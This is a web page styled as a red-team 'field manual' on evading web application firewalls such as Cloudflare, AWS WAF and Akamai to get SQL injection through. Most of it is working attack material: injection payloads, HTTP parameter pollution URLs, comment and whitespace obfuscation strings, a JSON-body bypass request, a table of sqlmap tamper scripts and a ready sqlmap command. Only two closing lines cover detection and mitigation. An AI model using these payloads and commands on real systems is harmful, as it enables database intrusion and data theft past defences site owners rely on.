Ir al contenido

📕 FIELD MANUAL 8.1: WAF EVASION (TAMPERING & OBFUSCATION)

Objective: We will bypass modern Web Application Firewalls (WAF) (Cloudflare, AWS WAF, Akamai) using "Semantic Desynchronization": we will make the WAF...

0views

Classification: RED TEAM EYES ONLY

Objective: We will bypass modern Web Application Firewalls (WAF) (Cloudflare, AWS WAF, Akamai) through “Semantic Desynchronization”: we will make the WAF see noise, but the database sees instructions.

MITRE ATT&CK: T1562.001 (Impair Defenses), T1027 (Obfuscated Files).

The WAF is a traffic guard that looks for known patterns (Signatures) in our HTTP request.

Standard Scenario (Detected):

  • Input Payload: {"id": "1' OR 1=1 --"}
  • WAF Status: 🚫 403 FORBIDDEN
  • Cause: The WAF regex engine detected the contiguous string OR followed by an equality 1=1.

Tactical Objective: We will break contiguity without breaking SQL logic.

TECHNIQUE A: HTTP Parameter Pollution (HPP)

Sección titulada «TÉCNICA A: HTTP Parameter Pollution (HPP)»

Target: ASP.NET (IIS), Java Servers.

Servers concatenate parameters with the same name, but many WAFs only inspect the first or the last.

  • Fragmented Attack:GET /search.aspx?id=1&id=UNION&id=SELECT&id=1,2,3--
  • WAF View: We will see three harmless id parameters separately.
  • Database View: id=1 UNION SELECT 1,2,3--

TECHNIQUE B: Whitespace & Comment Flooding

Sección titulada «TÉCNICA B: Whitespace & Comment Flooding»

The WAF looks for SPACE + OR + SPACE.

  • Payload (MySQL):1'/**/OR/**/1=1/**/#
  • Payload (MSSQL - Tabs):%09OR%091=1--
  • Payload (Junk Comments):UNION/*!50000SELECT*/1,2 (MySQL executes this only if the version is > 5.00.00, the WAF often ignores it as a comment).

Many legacy WAFs inspect GET/POST parameters but ignore keys within a JSON body.

  • Request:

    POST /api/search HTTP/1.1
    Content-Type: application/json
    {
    "query": "1' OR 1=1 --"
    }
  • Result: If the backend converts that JSON to a manual SQL query, the JSON-blind WAF will let the payload pass.

We will use dynamic transformation scripts in SQLMap to evade static signatures.

Tamper Selection Table:

Target DBWAF BehaviorTamper Script (Python)Technical Action
GeneralBlocks spacesspace2comment.pySELECT id -> SELECT/**/id
MySQLBlocks > and =between.py>1 -> NOT BETWEEN 0 AND 1
MSSQLBlock keywordscharencode.pyFull URL-encoding
GeneralStrict WAFrandomcase.pyuNiOn SeLeCt

Sniper Command:

sqlmap -u "[http://target.com/vuln](http://target.com/vuln)" --random-agent --tamper="between,space2comment,charunicodeencode" --skip-waf --level 3
  • Detection: We will configure alerts for requests with high entropy or multiple repeated parameters (HPP) in web server logs.
  • Mitigation: Input Normalization. The WAF must decode (URL Decode, HTML Decode, Unicode Decode) before applying rules.